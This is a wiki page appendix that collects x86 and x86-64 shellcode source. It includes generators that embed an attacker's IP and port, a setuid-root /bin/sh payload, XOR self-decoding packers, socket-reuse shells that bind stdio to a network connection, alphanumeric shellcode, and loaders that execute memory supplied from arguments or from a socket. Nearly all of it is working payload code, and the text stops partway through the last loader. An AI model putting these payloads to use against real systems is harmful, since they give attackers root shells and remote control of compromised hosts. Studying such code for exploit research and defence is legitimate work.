Questions about this topic? Sign up to ask in the talk tab.

Shellcode/Appendix

From NetSec
Revision as of 00:20, 25 November 2012 by LashawnSeccombe (Talk | contribs) (./socket-reuse/socket-reuse-send.c)

Jump to: navigation, search
c3el4.png
Code found here is also available for download in the shellcodecs package.

Loaders

loader-32.s

  • Description: 32-bit executable mmap-based shellcode loader
 
 
 


loader-64.s

  • Description: 64-bit executable mmap-based shellcode loader
  • Documentation: shellcode loader
 
 

dynamic-loader.c

  • Description:
 
 

socket-loader.c

  • Description:
 
 

Null-free

setuid_binsh.s

Generators

./generators/fd-reuse-output-formatter.py

 
#!/usr/bin/python
import re
 
print("shellcode_1 = \\")
for lin in re.findall(".?"*65, input()):
  if "\\\\x80\\\\xff\\\\xff\\\\xfe" in lin:
    tmp = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[0]
    tmp2 = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[1]
    print("\"" + tmp + "\"\n")
    print("shellcode_2 =\\")
    print("\"" + tmp2 + "\"\\")
 
  elif "\\\\xfb\\\\x2d" in lin:
    tmp = lin.split("\\\\xfb\\\\x2d")[0]
    tmp2 = lin.split("\\\\xfb\\\\x2d")[1]
    print("\"" + tmp + "\"\n")
    print("shellcode_3 =\\")
    print("\"" + tmp2 + "\"\\")
 
  elif lin == "":
    continue
 
  else:
    print("\"" + lin + "\" \\")
 

./generators/socket-reuse-generator.py

 
#!/usr/bin/python2.7
import re, sys
 
def convert_ip(ip):
  ip = ip.split('.')
  new_addr = ""
  for i in ip:
    new_addr += "\\x" + hex(0xff ^ int(i))[2:]
  return new_addr
 
def convert_port(port):
  port = hex(0xffff ^ int(port))[2:]
  port1 = port[0:2]
  port2 = port[2:4]
  return "\\x" + port1 + "\\x" + port2
 
 
shellcode_1 = \
"\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d\\x72\\x04" \
"\\x66\\xff\\xc7\\x74\\xe7\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xea" \
"\\x6a\\x1b\\x59\\xbb"
 
 
shellcode_2 = "\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xdb\\xb1\\x35\\x66"
 
shellcode_3 = \
"\\xff\\xf7\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xcd\\x50\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \
"\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \
"\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05"
 
if len(sys.argv) != 3:
  print("Usage: " + sys.argv[0] + " <source IP> <source port>")
  exit()
 
shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3
for lin in re.findall(".?"*64, shellcode):
  if lin != "":
    print("\"" + lin + "\"")
 

./generators/shellcode-generator.py

 
#!/usr/bin/python2
import os
import re
import argparse
 
def extract(path):
  if os.system("as -o %s.o %s.s" % (path, path)) == 1:
    exit()
 
  if os.system("ld -o %s %s.o" % (path, path)) == 1:
    exit()
 
  shellcode = ""
  for line in os.popen("objdump -d %s" % path).readlines():
    for byte in line.split():
      if re.match("^[a-f0-9][a-f0-9]$", byte):
        shellcode += chr(int(byte, 16))
  return shellcode
 
if __name__=="__main__":
  parser = argparse.ArgumentParser()
  parser.add_argument('--file', required=True)
  parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)")
  parser.add_argument('--raw', action='store_true', help="Output in raw format")
  parser.add_argument('--var', action='store_true', help="Output as a variable")
  parser.add_argument('--len', action='store_true', help="Output the length")
  args = parser.parse_args()
 
  shellcode = extract(args.file.split('.')[0])
 
  if args.hex:
    tmp = ""
    for byte in shellcode:
      tmp += "\\x%.2x" % ord(byte)
    print tmp
 
  elif args.raw:
    print shellcode
 
  elif args.var:
    print "char shellcode[] = {"
 
    tmp = ""
    for byte in shellcode:
      tmp += "\\x%.2x" % ord(byte)
 
    for line in re.findall(".?"*64, tmp):
      if line != "":
        print("\"" + line + "\" \\")
 
  else:
    parser.print_help()
    exit()
 
  if args.len:
    print "Length: %d bytes" % len(shellcode)
 

./generators/hash-generator.s

 
.text
.globl _start
_start:
jmp startup
 
calc_hash:
  push %rax
  push %rdx
 
  initialize_regs:
    push %rdx
    pop %rax
    cld
 
    calc_hash_loop:
      lodsb
      rol $0xc, %edx
      add %eax, %edx
      test %al, %al
      jnz calc_hash_loop
 
  calc_done:
    push %rdx
    pop %rsi
 
  pop %rdx
  pop %rax
ret
 
startup:
  pop %rax
  pop %rax
  pop %rsi
 
  xor %rdx, %rdx
  call calc_hash
 
  push %rsi
  mov %rsp, %rsi
 
  mov $0x1, %rax
  mov $0x1, %rdi
  mov $0x4, %rdx
 
  syscall
 
  mov $0x3c, %rax
  mov $0x0, %rdi
 
  syscall
 

./generators/poly-socket-reuse-generator.py

 
#!/usr/bin/python2.7
import re, sys
 
def convert_ip(ip):
  ip = ip.split('.')
  new_addr = ""
  for i in ip:
    new_addr += "\\x%.2x" % int(i)
  return new_addr
 
def convert_port(port):
  port = "%.4x" % int(port)
  port1 = port[0:2]
  port2 = port[2:4]
  return "\\x" + port1 + "\\x" + port2
 
 
shellcode_1 = \
"\\x68\\xff\\x30\\x01\\x40\\x5b\\xc1\\xeb\\x08\\x48\\x8b\\x0b\\x48" \
"\\x03\\x4b\\x10\\x48\\x8b\\x59\\x20\\x48\\xff\\xcb\\x81\\x3b\\x7f" \
"\\x45\\x4c\\x46\\x75\\xf5\\xeb\\x3d\\x68\\x80\\x47\\x6c\\x69\\x5e" \
"\\xff\\xd1\\x48\\x31\\xff\\xff\\xd5\\x59\\x31\\xf6\\xbe\\xf7\\x01" \
"\\xcc\\xf8\\xff\\xd1\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \
"\\x02\\x10\\x48\\x8d\\x72\\x04\\x66\\xff\\xc7\\x74\\xd5\\x48\\x8d" \
"\\x62\\x14\\x48\\x83\\xec\\x20\\x51\\xff\\xd5\\x59\\x84\\xc0\\x75" \
"\\xeb\\xeb\\x02\\xeb\\x57\\x6a\\x1b\\x41\\x58\\xb8"
 
shellcode_2 = "\\x42\\x39\\x04\\x84\\x75\\xd8\\x41\\xb0\\x35\\x66\\xb8\\xfb"
 
shellcode_3 = \
"\\x66\\x42\\x39\\x04\\x44\\x75\\xca\\x68\\x50\\x27\\x67\\x70" \
"\\x5e\\xff\\xd1\\x48\\x31\\xd2\\x52\\x52\\x5e\\x51\\xff\\xd5\\x59" \
"\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf5\\xbe\\x37\\xbb\\x6b\\xf6\\xff" \
"\\xd1\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62" \
"\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\xff" \
"\\xd5\\xe8\\x72\\xff\\xff\\xff\\x52\\x48\\x31\\xd2\\x57\\x50\\x53" \
"\\x56\\x5f\\x53\\x5d\\x6a\\x4c\\x58\\x48\\x03\\x1c\\x83\\x48\\x83" \
"\\xc3\\x10\\x80\\x3b\\x05\\x75\\xf7\\x48\\x8b\\x43\\x08\\x48\\x8b" \
"\\x5b\\x18\\x48\\x83\\xc3\\x18\\x52\\x5e\\x66\\x33\\x33\\x48\\x01" \
"\\xc6\\x50\\x52\\x52\\x58\\xfc\\xac\\xc1\\xc2\\x0c\\x01\\xc2\\x84" \
"\\xc0\\x75\\xf6\\x52\\x5e\\x5a\\x58\\x39\\xf7\\x75\\xdd\\x48\\x03" \
"\\x6c\\x93\\x08\\x5b\\x58\\x5f\\x5a\\xc3"
 
if len(sys.argv) != 3:
  print("Usage: " + sys.argv[0] + " <source IP> <source port>")
  exit()
 
shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3 + "\\x34"
print shellcode
#for lin in re.findall(".?"*64, shellcode):
#  if lin != "":
#    print("\"" + lin + "\"")
 

./null-free/write-file-32.s

 
# 90 bytes
_start:
 
xorl %ecx, %ecx
xorl %edx, %edx         #use xor to zero out the registers (removed some not required)
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
pop %eax                #pop that value into eax
push $0x6c              #push part of the file destination as a byte to remove padding
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f
movl %esp, %ebx         #move out stack pointer
xorw $0x0641, %cx       #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
xorw $0x01b6, %dx       #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
                        #by using this method of xoring out the nullbytes code size can be reduced as well
      #as remove the null bytes
int $0x80               #execute open()
 
movl %eax, %ebx         #move the file handle into ebx for write()
push $0x04              #push 0x04
pop %eax                #pop it into eax for use in write()
pushl $0x6c6f6c6a       #push part of the null terminated hex string onto the stack
pop %ecx                #pop it into ecx for modification
shr $0x08, %ecx         #shift it to the right by 0x08 to put the nullbyte back into the string without
                        #having it directly in the code
pushl %ecx              #push the modified string back onto the stack
pushl $0x20736920
pushl $0x73696874
movl %esp, %ecx         #move the stack pointer to ecx
push $0xb               #push the size of the stack in hex 
pop %edx                #pop it back into the proper register
pushl %ebx              #push the file descriptor onto the stack for the next function
int $0x80               #write the file
 
pop %ebx                #get the file descriptor back
push $0x06              #push 0x06 to the stack
pop %eax                #pop it into eax for close()
int $0x80               #close the file
 
push $0x01              #push exit() onto the stack
pop %eax                #and put it in the register
push $0x05              #push the return value of 5
pop %ebx                #and put it in ebx
int $0x80               #and exit
== ./null-free/setuid_binsh.as ==
# 34 bytes
.text
.globl _start
_start:
  xor %rdi, %rdi                 # Zero out %rdi (first argument)
  push $0x69
  pop %rax                       # Set %rax to function number for setuid()
  syscall                        # setuid(0);
 
 
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
  push $0x3b                     
  pop %rax                       # set %rax to function # for execve()
  syscall                        # execve('/bin/sh',null,null);
 

Self-modifying

./self-modifying/packer.as

# 55 bytes
.section .data
.section .text
.globl _start
 
_start:
    pop %rbx  # argc
    pop %rbx  # arg0
    pop %rbx  # arg1 pointer
 
    xor %rsi, %rsi
    push $0x34
    pop %rdi    
 
count_chars:
    cmpb %dil, (%rbx, %rsi, 1)
    int3
    je write
    xor $0x16, (%rbx, %rsi, 1)
    inc %rsi
    jmp count_chars
 
write:
    mov $0x1, %rax
    mov $0x1, %rdi
    mov %rsi, %rdx
    mov %rbx, %rsi
    syscall
 
exit:
    push $60
    pop %rax
    xor %rdi, %rdi
    syscall
 

./self-modifying/decoder-no-mmap.as

# 69 bytes
jmp start
 
inject: 
    pop %rdi # return value
 
    xor %rsi, %rsi
    push %rsi
    pop %rdi    
 
inject_loop:
    cmpb $0x17, (%rbx, %rsi, 1)
    je inject_finished
    movb (%rbx, %rsi, 1), %r10b
    xor $0x16, %r10b
    movb %r10b, (%rbx, %rsi, 1)
    inc %rsi
    jmp inject_loop
 
inject_finished:
    inc %rsi 
    movb $0xc3, (%rbx, %rsi, 1)
    push %rdi
    push %rbx
    ret
 
getpc:
    mov (%rsp),%rbx
    ret
 
start:
    call getpc
    add $0xe,%rbx
 
    push %rbx
    call inject
 
exit:
    push $0x3c
    pop %rax
    xor %rdi, %rdi
    syscall
 

./self-modifying/decoder.as

# 102 bytes
jmp start
 
inject: 
    pop %rdi
    pop %rcx
    pop %rax
 
    xor %rsi, %rsi
    push %rsi
    pop %rdi    
 
inject_loop:
    cmpb $0x20, (%rax, %rsi, 1)
    je inject_finished
    movb (%rax, %rsi, 1), %r10b
    xor $0x3, %r10b
    movb %r10b, (%rcx, %rsi, 1)
    inc %rsi
    jmp inject_loop
 
inject_finished:
    inc %rsi 
    movb $0xc3, (%rcx, %rsi, 1)
    push %rdi
    push %rcx
    ret
 
getpc:
    mov (%rsp),%rbx
    ret
 
start:
    call getpc
    add $0x31,%rbx
 
    push $0x9
    pop %rax
    xor %rdi, %rdi
    push %rdi
    pop %rsi
    inc %rsi
    shl $0x12, %rsi
    push $0x7
    pop %rdx
    push $0x22
    pop %r10
    push %rdi
    push %rdi
    pop %r8
    pop %r9
 
    syscall   # The syscall for the mmap().
 
    push %rax
    push %rbx
    call inject
 
exit:
    push $60
    pop %rax
    xor %rdi, %rdi
    syscall
 

./self-modifying/packer-32.s

 
# 37 bytes
.section .data
 
.section .text
 
.global _start
 
_start:
	pop %ecx
	pop %ecx
	pop %ecx                        #arg1 pointer
 
	xor %ebx, %ebx    
 	push %ebx
	pop %edx                        #zero out ebx and edx
 
count_chars:
	cmpb %dl, (%ecx, %ebx, 1)
	je write
	xor $0x3, (%ecx, %ebx, 1)
	inc %ebx
	jmp count_chars                 #counts characters and xor encode them
 
write:
	push $4
	pop %eax
	mov %ebx, %edx
	push $2
	pop %ebx
	int $0x80                        #writes encoded chars to stdout
 
exit:
	xor %eax, %eax
	mov %eax, %ebx
	inc %eax
	int $0x80                        #exits
 

./self-modifying/decoder-32.s

# 89 bytes
.section .data
 
.section .text
 
.global _start
 
_start:
jmp start
 
inject:
	pop %ecx         #pop the return address
	pop %ebx         #pop the encoded shellcode start address
	pop %eax	 #pop the mmaped memory address
 
	xor %edx, %edx
	push %edx
	pop %ecx	 #zero out edx and ecx (which holds the return address)
 
inject_loop:
	cmpb $0x20, (%ebx, %edx, 1)
	je inject_finished
	movb (%ebx, %edx, 1), %cl
	xor $0x3, %cl
	movb %cl, (%eax, %edx, 1)
	inc %edx
	jmp inject_loop
 
inject_finished:
	inc %edx
	movb $0xc3, (%eax, %edx, 1)
	push %ecx
	push %eax
	ret
 
 
getpc:
	mov (%esp), %eax
	ret
 
start:
	call getpc        #find ourself on stack
	mov %eax, %edx
	add $0x2a, %edx   #add decoder length to find shell beginging
 
        push $90
        pop %eax           #mmap() syscall
 
        xor %ebx, %ebx
	push %ebx
	push %ebx	   #arg 5/6
 
	push $0x22	   #arg 4
	push $0x7	   #arg 3
 
        push %ebx
        pop %ecx
        inc %ecx
        shl $0x12, %ecx
        push %ecx          #arg2 0x1000
 
	push %ebx          #arg 1
 
        mov %esp, %ebx
        int $0x80
 
	push %eax	  #push mmap pointer	
	push %edx         #push our shellcode begining
 
	call inject
 
exit:
	xor %eax, %eax
	mov %eax, %ebx
	inc %eax
	int $0x80
 

Dynamic

./dynamic/poly-linker-fd-reuse.s

# 268 bytes
 
.section .data
.section .text
.global _start
 
_start:
  push $0x400130ff
  pop %rbx
  shr $0x8, %ebx
 
fast_got:
  mov (%rbx), %rcx
  add 0x10(%rbx), %rcx
 
extract_pointer:
  mov 0x20(%rcx), %rbx
 
find_base:
  dec %rbx
  cmpl $0x464c457f, (%rbx)
jne find_base
 
jmp jmp_to_start 
 
exit:
  push $0x696c4780
  pop %rsi
  call *%rcx
  xor %rdi, %rdi
  call *%rbp
 
__initialize_world:
 pop %rcx
 
  xor %esi, %esi
  movl $0xf8cc01f7, %esi   # getpeername() is in %rsi
  call *%rcx
  push $0x02
  pop %rdi
 
  make_fd_struct:
    lea -0x14(%rsp), %rdx
    movb $0x10, (%rdx)
    lea 0x4(%rdx), %rsi # move struct into rsi
 
  loop:
    inc %di
    jz exit
 
  stack_fix:
    lea 0x14(%rdx), %rsp
 
  get_peer_name:
    sub $0x20, %rsp
    push %rcx
    call *%rbp 
    pop %rcx
 
  check_pn_success:
    test %al, %al
    jne loop
 
  jmp pass
  jmp_to_start:
    jmp startup
  pass:
 
  # If we make it here, rbx and rax are 0
  check_ip:
    push $0x1b
    pop %r8
    mov $0xfeffff80, %eax
    cmpl %eax, (%rsp,%r8,4)
    jne loop
 
  check_port:
    movb $0x35, %r8b
    mov $0x2dfb, %ax
    cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)
    jne loop
 
  push $0x70672750
  pop %rsi
  call *%rcx
 
  reuse:
    xor %rdx, %rdx
    push %rdx
    push %rdx
    pop %rsi
 
    dup_loop:       # redirect stdin, stdout, stderr to socket
      push %rcx
      call *%rbp
      pop %rcx
      inc %esi
      cmp $0x4, %esi
      jne dup_loop
 
  movl $0xf66bbb37, %esi
  call *%rcx
 
  xor %rdi, %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
 
  call *%rbp
 
# at this point, the base pointer of libc is in %rbx
startup:
  call __initialize_world
 
 
################
#
#  Takes a function hash in %rsi and base pointer in %rbx
#
#  returns a function pointer in %rbp
#
find_function:
  push %rdx
  xor %rdx, %rdx
  push %rdi
  push %rax
  push %rbx      
  push %rsi
  pop %rdi
 
  read_dynamic_section:
    push %rbx
    pop %rbp
 
   push $0x4c
   pop %rax
   add (%rbx, %rax, 4), %rbx
 
  check_dynamic_type:
    add $0x10, %rbx
    cmpb $0x5, (%rbx)
  jne check_dynamic_type
 
  string_table_found:
    mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
    mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 
  check_next_hash:
    add $0x18, %rbx
    push %rdx
    pop %rsi
    xorw (%rbx), %si
    add %rax, %rsi
 
    calc_hash:
      push %rax
      push %rdx
 
      initialize_regs:
        push %rdx
        pop %rax
        cld
 
        calc_hash_loop:
          lodsb
          rol $0xc, %edx
          add %eax, %edx
          test %al, %al
          jnz calc_hash_loop
 
      calc_done:
        push %rdx
        pop %rsi
 
      pop %rdx 
      pop %rax
 
  cmp %esi, %edi
 
  jne check_next_hash
 
  found_hash:
    add 0x8(%rbx,%rdx,4), %rbp
    pop %rbx
    pop %rax
    pop %rdi
    pop %rdx
ret
 

./dynamic/linker-fd-reuse.s

.section .data
.section .text
.global _start
 
_start:
  push $0x400130ff
  pop %rbx
  shr $0x8, %ebx
 
fast_got:
  mov (%rbx), %rcx
  add 0x10(%rbx), %rcx
 
extract_pointer:
  mov 0x20(%rcx), %rbx
 
find_base:
  dec %rbx
  cmpl $0x464c457f, (%rbx)
jne find_base
 
jmp startup
 
__initialize_world:
  pop %rcx
  jmp _world
 
 
# at this point, the base pointer of libc is in %rbx
startup:
  call __initialize_world
 
################
#
#  Takes a function hash in %rbp and base pointer in %rbx
#  >Parses the dynamic section headers of the ELF64 image
#  >Uses ROP to invoke the function on the way back to the
#  -normal return location
#
#  Returns results of function to invoke.
#
invoke_function:
  push %rbp
  push %rbp
  push %rdx
  xor %rdx, %rdx
  push %rdi
  push %rax
  push %rbx      
  push %rsi
  push %rbp
  pop %rdi
 
  read_dynamic_section:
    push %rbx
    pop %rbp
 
   push $0x4c
   pop %rax
   add (%rbx, %rax, 4), %rbx
 
  check_dynamic_type:
    add $0x10, %rbx
    cmpb $0x5, (%rbx)
  jne check_dynamic_type
 
  string_table_found:
    mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
    mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 
  check_next_hash:
    add $0x18, %rbx
    push %rdx
    pop %rsi
    xorw (%rbx), %si
    add %rax, %rsi
 
    calc_hash:
      push %rax
      push %rdx
 
      initialize_regs:
        push %rdx
        pop %rax
        cld
 
        calc_hash_loop:
          lodsb
          rol $0xc, %edx
          add %eax, %edx
          test %al, %al
          jnz calc_hash_loop
 
      calc_done:
        push %rdx
        pop %rsi
 
      pop %rdx 
      pop %rax
 
  cmp %esi, %edi
 
  jne check_next_hash
 
  found_hash:
    add 0x8(%rbx,%rdx,4), %rbp
    mov %rbp, 0x30(%rsp)
    pop %rsi
    pop %rbx
    pop %rax
    pop %rdi
    pop %rdx
    pop %rbp
ret
 
exit:
  push $0x696c4780
  pop %rbp
  xor %rdi, %rdi
  call *%rcx
 
_world:
  movl $0xf8cc01f7, %ebp   # getpeername() is in %rbp
  push $0x02
  pop %rdi
 
  make_fd_struct:
    lea -0x14(%rsp), %rdx
    movb $0x10, (%rdx)
    lea 0x4(%rdx), %rsi # move struct into rsi
 
  loop:
    inc %di
    jz exit
 
  stack_fix:
    lea 0x14(%rdx), %rsp
 
  get_peer_name:
    sub $0x20, %rsp
    push %rcx
    call *%rcx 
    pop %rcx
 
  check_pn_success:
    test %al, %al
    jne loop
 
  # If we make it here, rbx and rax are 0
  check_ip:
    push $0x1b
    pop %r8
    mov $0xfeffff80, %eax
    not %eax
    cmpl %eax, (%rsp,%r8,4)
    jne loop
 
  check_port:
    movb $0x35, %r8b
    mov $0x2dfb, %ax
    not %eax
    cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)
    jne loop
 
  push $0x70672750
  pop %rbp
 
  reuse:
    xor %rdx, %rdx
    push %rdx
    push %rdx
    pop %rsi
 
    dup_loop:       # redirect stdin, stdout, stderr to socket
      push %rcx
      call *%rcx
      pop %rcx
      inc %esi
      cmp $0x4, %esi
      jne dup_loop
 
  movl $0xf66bbb37, %ebp
 
  xor %rdi, %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
 
  call *%rcx
 

./dynamic/linked-exit.s

# 135 bytes
 
.section .data
.section .text
.global _start
 
_start:
  push $0x400130ff
  pop %rbx
  shr $0x8, %ebx
 
fast_got:
  mov (%rbx), %rcx
  add 0x10(%rbx), %rcx
 
extract_pointer:
  mov 0x20(%rcx), %rbx
 
find_base:
  dec %rbx
  cmpl $0x464c457f, (%rbx)
jne find_base
 
jmp startup
 
__initialize_world:
  pop %rcx
  jmp _world
 
 
# at this point, the base pointer of libc is in %rbx
startup:
  call __initialize_world
 
 
################
#
#  Takes a function hash in %rsi and base pointer in %rbx
#
#  returns a function pointer in %rbp
#
find_function:
  push %rdx
  xor %rdx, %rdx
  push %rdi
  push %rax
  push %rbx      
  push %rsi
  push %rbp
  pop %rdi
 
  read_dynamic_section:
    push %rbx
    pop %rbp
 
   push $0x4c
   pop %rax
   add (%rbx, %rax, 4), %rbx
 
  check_dynamic_type:
    add $0x10, %rbx
    cmpb $0x5, (%rbx)
  jne check_dynamic_type
 
  string_table_found:
    mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
    mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 
  check_next_hash:
    add $0x18, %rbx
    push %rdx
    pop %rsi
    xorw (%rbx), %si
 
    add %rax, %rsi
 
    calc_hash:
      push %rax
      push %rdx
 
      initialize_regs:
        push %rdx
        pop %rax
        cld
 
        calc_hash_loop:
          lodsb
          rol $0xc, %edx
          add %eax, %edx
          test %al, %al
          jnz calc_hash_loop
 
      calc_done:
        push %rdx
        pop %rsi
 
      pop %rdx 
      pop %rax
 
  cmp %esi, %edi
 
  jne check_next_hash
 
  found_hash:
    add 0x8(%rbx,%rdx,4), %rbp
    pop %rsi
    pop %rbx
    pop %rax
    pop %rdi
    pop %rdx
    push %rbp
ret
 
_world:
  push $0x696c4780
  pop %rbp
  xor %rdi, %rdi
  call *%rcx
 

./alphanumeric/architecture_detection

 TX4HPZTAZAYVH92

./alphanumeric/ascii_binsh.s

# 111 bytes
 
        .global _start
        .text
_start:
        # Set %rcx as stack pointer 
        # and align %rsp 
        push $0x5a
        push %rsp
        pop %rcx
        pop %rax
 
        # Get magic offset and store in %rdi
        xor $0x55, %al
        push %rax                       # 0x14 on the stack now.
        pop %rax                        # add back to %esp
        imul  $0x41, (%rcx), %edi       # %rdi = 0x3cf, a "magic offset" for us
                                        # This is decimal value 975.
                                        # If this is too low/high, suggest a 
                                        # modification to xor of %al for 
                                        # changing the imul results
 
        # Write the syscall 
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)         # 4 bytes have been nulled
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
        push %rax
        pop %rax                        # Garbage reg
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)
 
        # Sycall written, set values now.
        # allocate 8 bytes for '/bin/sh\0'
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)
 
        # Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx
 
        # Store '/bin/sh\0' in %rdi
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)            # '/bin'  just went onto the stack
 
        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            # '/sh\0' just went onto the stack
        xor 0x30(%rcx), %rdi            # %rdi now contains '/bin/sh\0'
 
 
        pop %rax
        push %rdi
 
        push $0x58
        movslq (%rcx), %rdi
        xor (%rcx), %rdi                # %rdi zeroed
        pop %rax
        push %rsp
        xor (%rcx), %rdi
        xor $0x63, %al
 

Loaders

./loaders/dynamic-loader.c

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
  int (*fp)();
  void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  memcpy(mem, argv[1], strlen(argv[1]));
  fp = (int(*)())mem;
  (int)(*fp)();
}
 

./loaders/socket-loader.c

/* A simple server in the internet domain using TCP
   The port number is passed as an argument */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>
 
void error(const char *msg)
{
    perror(msg);
    exit(1);
}
 
void execute(char *buffer)
{
    printf("Executing\n");
    printf("%d\n", strlen(buffer));
    int (*fp)();
    void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    memcpy(mem, buffer, strlen(buffer));
    fp = (int(*)())mem;
    (int)(*fp)();
}
 
int main(int argc, char *argv[])
{
     int sockfd, newsockfd, portno;
     socklen_t clilen;
     char buffer[1024];
     struct sockaddr_in serv_addr, cli_addr;
     int n;
     if (argc < 2) {
         fprintf(stderr,"ERROR, no port provided\n");
         exit(1);
     }
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if (sockfd < 0) 
        error("ERROR opening socket");
     bzero((char *) &serv_addr, sizeof(serv_addr));
     portno = atoi(argv[1]);
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &serv_addr,
              sizeof(serv_addr)) < 0) 
              error("ERROR on binding");
     listen(sockfd,5);
     clilen = sizeof(cli_addr);
     newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
     if (newsockfd < 0) 
          error("ERROR on accept");
     bzero(buffer,1024);
     n = read(newsockfd,buffer,1024);
 
     execute(buffer);
 
     close(newsockfd);
     close(sockfd);
     return 0; 
}
 

./loaders/loader-64.s

# 79 bytes
 
.section .data
.section .text
.globl _start
 
_start:
    pop %rbx  # argc
    pop %rbx  # arg0
    pop %rbx  # arg1 pointer
 
    push $0x9
    pop %rax
 
    xor %rdi, %rdi
    push %rdi
    pop %rsi
    inc %rsi
    shl $0x12, %rsi
    push $0x7
    pop %rdx
    push $0x22
    pop %r10
 
    push %rdi
    push %rdi
    pop %r8
    pop %r9
 
    syscall   # The syscall for the mmap().
 
inject: 
    xor %rsi, %rsi
    push %rsi
    pop %rdi    
 
inject_loop:
    cmpb %dil, (%rbx, %rsi, 1)
    je inject_finished
    movb (%rbx, %rsi, 1), %r10b
    movb %r10b, (%rax,%rsi,1)
    inc %rsi
    jmp inject_loop
 
ret_to_shellcode:
    push %rax
    ret
 
inject_finished:
    inc %rsi 
    movb $0xc3, (%rax, %rsi, 1)
    call ret_to_shellcode
 
exit:
    push $60
    pop %rax
    xor %rdi, %rdi
    syscall
 

./loaders/loader-32.s

 
# 66 bytes
 
.section .data
 
.section .text
 
.global _start
 
_start:
        pop %edi
        pop %edi
        pop %edi                      #get arg1 pointer (shellcode)
 
        push $90
        pop %eax                      #mmap() syscall number
 
        xor %ebx, %ebx
	push %ebx
	push %ebx                     #args 5/6 (null)
 
	push $0x22                    #arg 4
	push $0x7                     #arg 5
 
        push %ebx
        pop %ecx
        inc %ecx
        shl $0x12, %ecx
        push %ecx                     #arg2 (0x1000)
 
	push %ebx                     #arg1 (null)
 
        mov %esp, %ebx                #move pointer to args to ebx for mmap()
        int $0x80
 
 
inject:
	xor %esi, %esi
	push %esi
	pop %edx                      #zero out esi and edx
 
inject_loop:
	cmpb %dl, (%edi, %esi, 1)
	je inject_finished
	movb (%edi, %esi, 1), %cl
